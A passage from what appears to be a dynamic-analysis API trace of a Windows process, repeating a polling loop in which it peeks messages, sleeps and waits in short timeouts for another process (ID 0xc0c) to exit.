wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0225.481] Sleep (dwMilliseconds=0x1) [0225.497] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0225.497] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0225.512] CloseHandle (hObject=0x258) returned 1 [0225.512] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0225.512] Sleep (dwMilliseconds=0x1) [0225.528] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0225.528] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0225.543] CloseHandle (hObject=0x258) returned 1 [0225.543] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0225.543] Sleep (dwMilliseconds=0x1) [0225.559] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0225.559] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0225.574] CloseHandle (hObject=0x258) returned 1 [0225.575] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0225.575] Sleep (dwMilliseconds=0x1) [0225.590] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0225.590] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0225.606] CloseHandle (hObject=0x258) returned 1 [0225.606] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0225.606] Sleep (dwMilliseconds=0x1) [0225.621] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0225.621] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0225.637] CloseHandle (hObject=0x258) returned 1 [0225.637] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0225.637] Sleep (dwMilliseconds=0x1) [0225.653] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0225.653] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0225.668] CloseHandle (hObject=0x258) returned 1 [0225.668] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0225.668] Sleep (dwMilliseconds=0x1) [0225.684] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0225.684] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0225.700] CloseHandle (hObject=0x258) returned 1 [0225.700] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0225.700] Sleep (dwMilliseconds=0x1) [0225.716] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0225.716] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0225.731] CloseHandle (hObject=0x258) returned 1 [0225.731] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0225.731] Sleep (dwMilliseconds=0x1) [0225.747] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0225.747] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0225.762] CloseHandle (hObject=0x258) returned 1 [0225.762] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0225.762] Sleep (dwMilliseconds=0x1) [0225.778] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0225.778] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0225.793] CloseHandle (hObject=0x258) returned 1 [0225.793] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0225.793] Sleep (dwMilliseconds=0x1) [0225.809] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0225.809] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0225.824] CloseHandle (hObject=0x258) returned 1 [0225.825] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0225.825] Sleep (dwMilliseconds=0x1) [0225.840] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0225.840] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0225.856] CloseHandle (hObject=0x258) returned 1 [0225.856] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0225.856] Sleep (dwMilliseconds=0x1) [0225.871] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0225.872] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0225.887] CloseHandle (hObject=0x258) returned 1 [0225.887] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0225.887] Sleep (dwMilliseconds=0x1) [0225.903] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0225.903] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0225.918] CloseHandle (hObject=0x258) returned 1 [0225.918] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0225.918] Sleep (dwMilliseconds=0x1) [0225.934] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0225.934] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0225.950] CloseHandle (hObject=0x258) returned 1 [0225.950] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0225.950] Sleep (dwMilliseconds=0x1) [0225.965] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0225.965] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0225.981] CloseHandle (hObject=0x258) returned 1 [0225.981] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0225.981] Sleep (dwMilliseconds=0x1) [0225.997] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0225.997] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0226.012] CloseHandle (hObject=0x258) returned 1 [0226.012] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0226.012] Sleep (dwMilliseconds=0x1) [0226.028] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0226.028] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0226.043] CloseHandle (hObject=0x258) returned 1 [0226.043] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0226.043] Sleep (dwMilliseconds=0x1) [0226.059] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0226.059] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0226.083] CloseHandle (hObject=0x258) returned 1 [0226.083] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0226.083] Sleep (dwMilliseconds=0x1) [0226.090] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0226.090] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0226.106] CloseHandle (hObject=0x258) returned 1 [0226.106] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0226.106] Sleep (dwMilliseconds=0x1) [0226.121] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0226.121] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0226.137] CloseHandle (hObject=0x258) returned 1 [0226.137] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0226.137] Sleep (dwMilliseconds=0x1) [0226.153] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0226.153] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0226.168] CloseHandle (hObject=0x258) returned 1 [0226.168] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0226.169] Sleep (dwMilliseconds=0x1) [0226.184] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0226.184] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0226.200] CloseHandle (hObject=0x258) returned 1 [0226.200] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0226.200] Sleep (dwMilliseconds=0x1) [0226.215] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0226.216] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0226.231] CloseHandle (hObject=0x258) returned 1 [0226.231] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0226.231] Sleep (dwMilliseconds=0x1) [0226.247] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0226.247] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0226.262] CloseHandle (hObject=0x258) returned 1 [0226.262] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0226.262] Sleep (dwMilliseconds=0x1) [0226.278] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0226.278] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0226.293] CloseHandle (hObject=0x258) returned 1 [0226.293] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0226.293] Sleep (dwMilliseconds=0x1) [0226.309] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0226.309] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0226.325] CloseHandle (hObject=0x258) returned 1 [0226.325] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0226.325] Sleep (dwMilliseconds=0x1) [0226.340] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0226.340] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0226.356] CloseHandle (hObject=0x258) returned 1 [0226.356] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0226.356] Sleep (dwMilliseconds=0x1) [0226.371] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0226.371] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0226.390] CloseHandle (hObject=0x258) returned 1 [0226.390] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0226.390] Sleep (dwMilliseconds=0x1) [0226.403] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0226.403] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0226.424] CloseHandle (hObject=0x258) returned 1 [0226.424] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0226.424] Sleep (dwMilliseconds=0x1) [0226.434] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0226.434] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0226.450] CloseHandle (hObject=0x258) returned 1 [0226.450] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0226.450] Sleep (dwMilliseconds=0x1) [0226.465] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0226.465] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0226.481] CloseHandle (hObject=0x258) returned 1 [0226.481] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0226.481] Sleep (dwMilliseconds=0x1) [0226.497] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0226.497] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0226.512] CloseHandle (hObject=0x258) returned 1 [0226.512] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0226.512] Sleep (dwMilliseconds=0x1) [0226.528] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0226.528] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0226.543] CloseHandle (hObject=0x258) returned 1 [0226.543] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0226.543] Sleep (dwMilliseconds=0x1) [0226.559] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0226.559] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0226.574] CloseHandle (hObject=0x258) returned 1 [0226.575] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0226.575] Sleep (dwMilliseconds=0x1) [0226.590] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0226.590] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0226.606] CloseHandle (hObject=0x258) returned 1 [0226.606] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0226.606] Sleep (dwMilliseconds=0x1) [0226.622] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0226.622] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0226.637] CloseHandle (hObject=0x258) returned 1 [0226.637] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0226.637] Sleep (dwMilliseconds=0x1) [0226.653] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0226.653] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0226.669] CloseHandle (hObject=0x258) returned 1 [0226.669] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0226.669] Sleep (dwMilliseconds=0x1) [0226.738] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0226.738] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0226.747] CloseHandle (hObject=0x258) returned 1 [0226.747] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0226.747] Sleep (dwMilliseconds=0x1) [0226.762] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0226.762] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0226.778] CloseHandle (hObject=0x258) returned 1 [0226.778] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0226.778] Sleep (dwMilliseconds=0x1) [0226.793] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0226.793] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0226.809] CloseHandle (hObject=0x258) returned 1 [0226.809] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0226.809] Sleep (dwMilliseconds=0x1) [0226.825] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0226.825] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0226.840] CloseHandle (hObject=0x258) returned 1 [0226.840] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0226.840] Sleep (dwMilliseconds=0x1) [0226.856] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0226.856] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0226.872] CloseHandle (hObject=0x258) returned 1 [0226.872] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0226.872] Sleep (dwMilliseconds=0x1) [0226.887] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0226.887] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0226.903] CloseHandle (hObject=0x258) returned 1 [0226.903] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0226.903] Sleep (dwMilliseconds=0x1) [0226.918] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0226.918] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0226.934] CloseHandle (hObject=0x258) returned 1 [0226.934] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0226.934] Sleep (dwMilliseconds=0x1) [0226.950] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0226.950] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0226.965] CloseHandle (hObject=0x258) returned 1 [0226.965] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0226.965] Sleep (dwMilliseconds=0x1) [0226.981] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0226.981] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0226.996] CloseHandle (hObject=0x258) returned 1 [0226.996] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0226.996] Sleep (dwMilliseconds=0x1) [0227.012] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0227.012] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0227.028] CloseHandle (hObject=0x258) returned 1 [0227.028] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0227.028] Sleep (dwMilliseconds=0x1) [0227.043] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0227.043] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0227.059] CloseHandle (hObject=0x258) returned 1 [0227.059] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0227.059] Sleep (dwMilliseconds=0x1) [0227.084] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0227.084] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0227.090] CloseHandle (hObject=0x258) returned 1 [0227.090] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0227.090] Sleep (dwMilliseconds=0x1) [0227.106] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0227.106] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0227.121] CloseHandle (hObject=0x258) returned 1 [0227.121] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0227.121] Sleep (dwMilliseconds=0x1) [0227.137] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0227.137] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0227.153] CloseHandle (hObject=0x258) returned 1 [0227.153] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0227.153] Sleep (dwMilliseconds=0x1) [0227.174] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0227.174] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0227.184] CloseHandle (hObject=0x258) returned 1 [0227.184] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0227.184] Sleep (dwMilliseconds=0x1) [0227.199] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0227.199] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0227.215] CloseHandle (hObject=0x258) returned 1 [0227.215] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0227.215] Sleep (dwMilliseconds=0x1) [0227.231] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0227.231] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0227.246] CloseHandle (hObject=0x258) returned 1 [0227.246] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0227.247] Sleep (dwMilliseconds=0x1) [0227.262] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0227.262] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0227.285] CloseHandle (hObject=0x258) returned 1 [0227.285] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0227.285] Sleep (dwMilliseconds=0x1) [0227.293] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0227.293] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0227.309] CloseHandle (hObject=0x258) returned 1 [0227.309] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0227.309] Sleep (dwMilliseconds=0x1) [0227.324] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0227.325] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0227.340] CloseHandle (hObject=0x258) returned 1 [0227.340] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0227.340] Sleep (dwMilliseconds=0x1) [0227.357] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0227.357] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0227.371] CloseHandle (hObject=0x258) returned 1 [0227.371] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0227.371] Sleep 